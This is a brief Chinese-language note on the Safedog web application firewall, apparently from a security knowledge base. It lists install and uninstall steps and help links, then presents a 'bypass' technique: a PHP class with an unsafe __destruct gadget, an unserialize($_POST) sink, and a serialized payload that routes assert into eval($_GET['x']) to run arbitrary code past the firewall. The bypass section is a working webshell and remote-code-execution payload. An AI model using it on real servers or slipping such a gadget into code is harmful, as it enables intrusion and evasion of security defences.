应用安全-安全设备-Waf系列-软Waf-安全狗（Safedog）

安装 - Linux

下载
http://download.safedog.cn/safedog_linux64.tar.gz
wget http://download.safedog.cn/safedog_linux64.tar.gz

解压
tar xvf safedog_linux64.tar

运行
./install.py

卸载
进入安装包解压目录
chmod +x uninstall.sh
./uninstall.sh

安装 - Windows

下载
http://down.safedog.cn/download/software/safedogfwqV5.0.exe

使用指南

https://www.safedog.cn/download/software/safedogfwq_Windows_Help.pdf

https://www.safedog.cn/download/software/safedogfwq_linux_Help.pdf

绕过

PHP反序列化绕过

<?php 
class A{
    public $name;
    public $male;
    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}
unserialize($_POST['un']);
?>

POST - un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}

GET -  x=phpinfo(); --结合Hackbar使用